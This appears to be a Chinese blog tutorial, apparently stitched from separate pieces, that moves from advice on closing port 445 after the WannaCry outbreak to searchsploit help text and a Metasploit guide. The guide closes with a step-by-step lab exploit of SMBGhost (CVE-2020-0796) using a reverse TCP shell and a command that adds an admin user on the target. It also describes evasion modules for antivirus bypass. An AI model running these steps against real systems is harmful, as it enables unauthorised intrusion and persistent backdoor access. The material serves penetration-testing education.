浪潮已經過去,再也沒有當時那么轟動,接下來便是救災了。
目測不會再有新的變種,畢竟國家網絡安全工程師也不是吃素的,作為我們自身來講,我們也可以做一些預防工作,關閉這次漏洞的根源,也就是445端口。
接下來我們來看看怎么關閉端口。為了保證不出現任何問題,我的建議是先斷網,再開機。
首先打開本地控制面板,找到windows防火墻
再然后點開高級設置,入站規則,新建。
再最后關閉本地端口445按照提示一步一步來即可。
再有就是win軟在3月份發布的補丁,打開自動更新,更新一下,避免漏洞鉆了空子。
要是自動更新不會用的童鞋請自行百度吧,我這里就不做過多的贅述了。
相信大家最關注的問題還是我們被加密的文檔還能再找回來嗎,騰訊已經緊急啟動了方案,專門針對此次事件的受害者發布一款插件,但是畢竟已經是被破壞的文件,效果自然是你懂得。
科普一下預防小妙招:
最最最最重要的一點就是不要點來歷不明的鏈接或者文件,遇見可疑的文件及時進行查殺,確保安全,畢竟作為大學狗,或者是上班黨,文件,論文神馬的都是很重要的。
還有就是如果已經不幸的中病毒了,實在不行你也可以跟黑客撒個嬌,賣個萌,又不是不可以,最最最最下策的就是哭窮,這講道理的話跟人家并沒有一毛錢的關系。
searchsploit 是一個用于 Exploit-db 的命令行搜索工具,可以幫助我們查找滲透模塊。
1.下載
https://gitlab.com/exploit-database/exploitdb
git當前目錄:
git clone https://gitlab.com/exploit-database/exploitdb.git
┌──(root?kali)-[/data]
└─# searchsploit --help
Usage: searchsploit [options] term1 [term2] ... [termN]==========Examples==========searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
searchsploit -s Apache Struts 2.0.0
searchsploit linux reverse password
searchsploit -j 55555 | json_pp
For more examples, see the manual: https://www.exploit-db.com/searchsploit=========Options=========## Search Terms
-c, --case [Term] 執行區分大小寫的搜索,默認是大小寫不敏感(Perform a case-sensitive search (Default is inSEnsITiVe))
-e, --exact [Term] Perform an EXACT & order match on exploit title (Default is an AND match on each term) [Implies "-t"]
e.g. "WordPress 4.1" would not be detect "WordPress Core 4.1")
-s, --strict Perform a strict search, so input values must exist, disabling fuzzy search for version range
e.g. "1.1" would not be detected in "1.0 < 1.3")
-t, --title [Term] Search JUST the exploit title (Default is title AND the file's path)
--exclude="term" Remove values from results. By using "|" to separate, you can chain multiple values
e.g. --exclude="term1|term2|term3"
## Output
-j, --json [Term] 使用json格式展示結果
-o, --overflow [Term] Exploit標題被允許溢出其列(Exploit titles are allowed to overflow their columns)
-p, --path [EDB-ID] 顯示漏洞利用的完整路徑(Show the full path to an exploit (and also copies the path to the clipboard if possible))
-v, --verbose Display more information in output
-w, --www [Term] Show URLs to Exploit-DB.com rather than the local path
--id Display the EDB-ID value rather than local path
--colour Disable colour highlighting in search results
## Non-Searching
-m, --mirror [EDB-ID] Mirror (aka copies) an exploit to the current working directory
-x, --examine [EDB-ID] Examine (aka opens) the exploit using $PAGER
## Non-Searching
-h, --help Show this help screen
-u, --update Check for and install any exploitdb package updates (brew, deb & git)
## Automation
--nmap [file.xml] Checks all results in Nmap's XML output with service version
e.g.: nmap [host] -sV -oX file.xml
Metasploit是一款開源的安全漏洞檢測工具
MSF官網:https://www.metasploit.com/
MSF 文檔地址:https://docs.metasploit.com/
Metasploit 有兩個版本,Metasploit Framework 是免費版本,Metasploit Pro 是收費版本,但是可以試用30天。
基礎庫: metasploit基礎庫文件,位于源碼根目錄路徑下的libraries目錄中,包括 Rex,framework-core和framework-base三部分。
① Rex是整個框架所依賴的最基礎的一些組件,如包裝的網絡套接字、網絡應用協議客戶端與服務端實現、日志子系統、滲透攻擊支持例程、PostgreSQL 以及MySQL數據庫支持等;
② framework-core庫負責實現所有與各種類型的上層模塊及插件的交互接口;
③ framework-base庫擴展了framework-core,提供更加簡單的包裝例程,并為處理框架各個方面的功能提供了一些功能類,用于支持用戶接口與功能程序調用框架本身功能及框架集成模塊;
模塊: 模塊組織按照不同的用途分為6種類型的模塊(Modules): 分為輔助模塊(Aux)、 滲透攻擊模塊(Exploits). 后滲透攻擊模塊(Post)、 攻擊載荷模塊(payloads).編碼器模塊(Encoders)、 空指令模塊(Nops)。
注: payload 又稱為攻擊載荷,主要是用來建立目標機與攻擊機穩定連接的,可返回shell,也可以
進行程序注入等。
插件: 插件能夠擴充框架的功能,或者組裝已有功能構成高級特性的組件。插件可以集成現有的一些外部安全工具, 如Nessus、 OpenVAS 漏洞掃描器等,為用戶接口提供- -些新的功能。
接口: 包括msfconsole控制終端、msfcli 命令行、msfgui 圖形化界面、armitage 圖形化界面以及msfapi遠程調用接口。
功能程序: metasploit 還提供了一系列可直接運行的功能程序,支持滲透測試者與安全人員快速地利用metasploit框架內部能力完成-些特定任務。比如msfpayload、msfencode 和 msfvenom可以將攻擊載荷封裝為可執行文件、C 語言、JavaScript 語言等多種形式,并可以進行各種類型的編碼。
每一個漏洞利用模塊基于它們對目標系統的潛在影響都被標記了一個Rank字段。用戶可以基于Rank對漏洞利用模塊進行搜索,分類以及排序。
Rank按照可靠性降序排列:
excellent漏洞利用程序絕對不會使目標服務崩潰, 就像SQL注入、命令執行、遠程文件包含、本地文件包含等。除非有特殊情況,典型的內存破壞利用程序不可以被評估為該級別。
great 該漏洞利用程序有一 個默認的目標系統,并且可以自動檢測適當的目標系統,或者在目標服務的版本檢查之后可以返回到一個特定的返回地址。
good該漏洞利用程序有一個默認目標系統,并且是這種類型軟件的“常見情況”(桌面應用程序的Windows 7,服務器的2012等)
normal 該漏洞利用程序是可靠的,但是依賴于特定的版本,并且不能或者不能可靠地自動檢測。
average該漏洞利用程序不可靠或者難以利用。
low 對于通用的平臺而言,該漏洞利用程序幾乎不能利用(或者低于50%的利用成功率)
manual 該漏洞利用程序不穩定或者難以利用并且基于拒絕服務 (DOS)。 如果一個模塊只有在用戶特別配置該模塊的時候才會被用到,否則該模塊不會被使用到,那么也可以評為該等級。
kali系統上自帶 Metasploit Framework ,無需另外安裝。
其他系統安裝 Metasploit 參照文檔: Nightly Installers | Metasploit Documentation Penetration Testing Software, Pen Testing Security
metasploit 依賴于 postgresql 數據庫,所以metasploit啟動前需要先啟動postgresql 數據庫
msfupdate ## msf 更新命令
msfconsole ## 啟動msf
db_connect postgres:postgres@127.0.0.1/test ## 連接數據庫
db_status ## 查看數據庫狀態
msfconsole ——> 不會啟動postgresql數據庫,需要先手動啟動數據庫 (systemcl start postgresql)
msfdb run ——> 快捷命令,會同時開啟 postgresql 數據庫及 metasploit 服務
啟動后,會顯示,msf的一些信息,當前系統中msf的版本號,各模塊的統計信息等
=[ metasploit v6.2.9-dev ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
進入到 msf控制臺后,執行help命令可以看到msf中可以使用的命令,主要包含以下幾大類:
Core Commands #核心命令
Module Commands #模塊命令
Job Commands #后臺任務命令
Resource Script Commands #資源腳本命令
Database Backend Commands #數據庫后端命令
Credentials Backend Commands #證書/憑證后端命令
Developer Commands #開發人員命令
文件路徑:/usr/share/metasploit-framework
目錄結構:
config:MSF 的配置文件,
data:后滲透模塊的一些工具及
payload,第三方小工具集合,用戶字典等數據信息
documentation: 用戶說明文檔及開發文檔
lib:基礎類和第三方模塊類
modules:MSF系統工具模塊
plugins:第三方插件接口
scripts:MSF的常用后滲透模塊,區別于data里的后滲透模塊,不需要加post參數和絕對路徑,可以直接運行
tools:額外的小工具和第三方腳本工具
external: MSF的一些基礎擴展模塊
msfconsole: MSF基本命令行,集成了各種功能
msfd: MSF服務,非持久性服務
msfdb: MSF數據庫
msfupdate: MSF更新模塊,可以用來更新MSF模塊
msfrpc: MSF的服務端,非持久性的rpc服務
msfrpcd:持久性的MSF本地服務,可以給遠程用戶提供rpc服務以及其他的http服務,可以通過xml進行數據傳輸。
MSF 分為7大模塊,文件路徑為 /usr/share/metasploit-framework/modules
exploits(滲透攻擊/漏洞利用模塊)
滲透攻擊模塊是利用發現的安全漏洞或配置弱點對遠程目標進行攻擊,以植入和運行攻擊載荷,從而獲得對遠程目標系統訪問的代碼組件。 流行的滲透攻擊技術包括緩沖區溢出、Web應用程序漏洞攻擊、用戶配置錯誤等,其中包含攻擊者或測試人員針對系統中的漏洞而設計的各種POC驗證程序, 以及用于破壞系統安全性的攻擊代碼,每個漏洞都有相應的攻擊代碼。 滲透攻擊模塊是Metasploit框架中最核心的功能組件。
payloads(攻擊載荷模塊)
攻擊載荷是我們期望目標系統在被滲透攻擊之后完成實際攻擊功能的代碼,成功滲透目標后,用于在目標系統上運行任意命令或者執行特定代碼。 攻擊載荷模塊從最簡單的添加用戶賬號、提供命令行Shell,到基于圖形化的VNC界面控制,以及最復雜、具有大量后滲透攻擊階段功能特性的Meterpreter, 這使得滲透攻擊者可以在選定滲透攻擊代碼之后,從很多適用的攻擊載荷中選取他所中意的模塊進行靈活地組裝,在滲透攻擊后獲得他所選擇的控制會話類型, 這種模塊化設計與靈活的組裝模式也為滲透攻擊者提供了極大的便利。
auxiliary(輔助模塊)
該模塊不會直接在測試者和目標主機之間建立訪問,它們只負責執行掃描、嗅探、指紋識別等相關功能以輔助滲透測試。
nops(空指令模塊)
空指令(NOP)是一些對程序運行狀態不會造成任何實質性影響的空操作或無關操作指令。最典型的空指令就是空操作,在x86 CPU體系架構平臺上的操作碼 是 0x90 。在滲透攻擊構造邪惡數據緩沖區時,常常要在真正執行的Shellcode之前添加一段空指令區。這樣,當觸發滲透攻擊后跳轉執行Shellcode時, 就會有一個較大的安全著陸區,從而避免受到內存地址隨機化、返回地址計算偏差等原因造成的Shellcode執行失敗。 Matasploit框架中的空指令模塊就是用來在攻擊載荷中添加空指令區,以提高攻擊可靠性的組件。
encoders(編譯器模塊)
編碼器模塊通過對攻擊載荷進行各種不同形式的編碼,完成兩大任務: 一是確保攻擊載荷中不會出現滲透攻擊過程中應加以避免的"壞字符”; 二是對攻擊載荷進行“免殺”處理,即逃避反病毒軟件、IDS/IPS的檢測與阻斷。
post(后滲透攻擊模塊)
后滲透攻擊模塊主要用于在滲透攻擊取得目標系統遠程控制權之后,在受控系統中進行各式各樣的后滲透攻擊動作,比如獲取敏感信息、進一步橫向拓展、 實施跳板攻擊等。
evasion(規避模塊)
規避模塊(免殺):主要用于規避Windows Defender防火墻、Windows應用程序控制策略(applocker)等的檢查。
connect 命令用于遠程連接主機 ,常用于內網穿透場景中,最常用的命令如: connect 192.168.0.107 80
用于列出各個模塊中的內容 ,show all 列出所有模塊的額內容。
show nops : 列出 nops模塊下所有的內容。
用于搜索 msf 中的各種漏洞、插件。 是最常用的命令之一
msf6 > search --help
-h, --help Help banner
-I, --ignore Ignore the command if the only match has the same name as the search
-o, --output <filename> 將輸出內容寫入csv格式的文件中
-r, --sort-descending <column> 降序排列查找到的結果
-S, --filter <filter> Regex pattern used to filter search results
-s, --sort-ascending <column> Sort search results by the specified column in ascending order
-u, --use Use module if there is one result
Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
fullname : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
Supported search columns:
rank : Sort modules by their exploitabilty rank
date : Sort modules by their disclosure date. Alias for disclosure_date
disclosure_date : Sort modules by their disclosure date
name : Sort modules by their name
type : Sort modules by their type
check : Sort modules by whether or not they have a check method
例1 : 利用名字搜索漏洞 ,名字描述越詳細,搜索到的結果越精確。
例2: 利用路徑查找 ,通過 path 命令,可以查找到位于該路徑下的所有模塊,
metasploit 支持模糊查詢,不區分大小寫
例3:縮小查找范圍,范圍越精細,查找到的結果越準確
例4:通過cve查找exploit
use 使用某個模塊,用法: user + 模塊名稱
顯示模塊相關信息
info + 模塊名稱 或者 use 裝載模塊之后,執行info查看模塊信息
在彈出的info信息中,需要重點關注:
Available targets : 可用目標,即可以攻擊的操作系統。
Basic options : 基本參數配置,即調用漏洞所需要配置的參數
Description : 漏洞描述和執行過程
References :有關該漏洞的參考文檔
使用show命令同樣也可以查看模塊的相關信息,如:
查看模塊配置信息: show options
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options
Module options (exploit/windows/smb/cve_2020_0796_smbghost):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.188 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
查看模塊適用目標: show targets
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
永恒之黑漏洞與“永恒之藍”漏洞極為相似,都是利用 “Windows SMB服務” 漏洞遠程攻擊獲取系統最高權限。
前提:
win10 版本 1903 ,且未安裝過漏洞補丁。
set RHOSTS 192.168.0.107
PS:payload 又稱為攻擊載荷,主要是用來建立目標機與攻擊機穩定連接的,可返回 shell,也可以進行程序注入等。
由于該模塊默認只有一個payload,可以不需要單獨設置payload,如果不想用默認的payload,也可以設置成別的payload。
search windows/x64/shell type:payload
找到以后,使用如下命令加載payload:
set payload windows/x64/shell/reverse_tcp
執行 set DefangedMode false 關閉DefangedMode,否則直接執行exploit會報錯。
執行 exploit 或者run命令開始運行模塊
遇到如上紅框內報錯,說明metaspolit中 永恒之黑這個模塊少文件,到github上下載一份放到目錄下即可, 然后解壓放到 /usr/share/metasploit-framework/ 對應的目錄下即可
┌──(root?kali)-[/data]
└─# unzip external.zip -d /usr/share/metasploit-framework/
這個win10版本比較坑,容易藍屏或者死機,可以多試幾次。
問題記錄: 這次成功之前,是關閉了kali上docker服務,并且清理了iptables 后,才成功了 。
使用 CMD 命令創建用戶
C:\Windows\system32>net user admin admin /add
顯示亂碼但是已經添加成功
拓展:解決亂碼問題(亂碼是因為 windows 和 linux 的編碼不一樣導致的)執行如下指令
C:\Windows\system32>chcp 65001
查看用戶
C:\Windows\system32>net user
可以通過執行 ”background“ 命令將當前會話放到后臺,執行 “sessions” 命令查看存在的會話, “sessions -i id” 應用會話。
exploit -j: 通過會話連接目標機時,后臺運行滲透目標完成后,自動創建一個session
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit -j
使用 session -k id 關閉session
在msf 控制臺中,輸入help命令查看幫助信息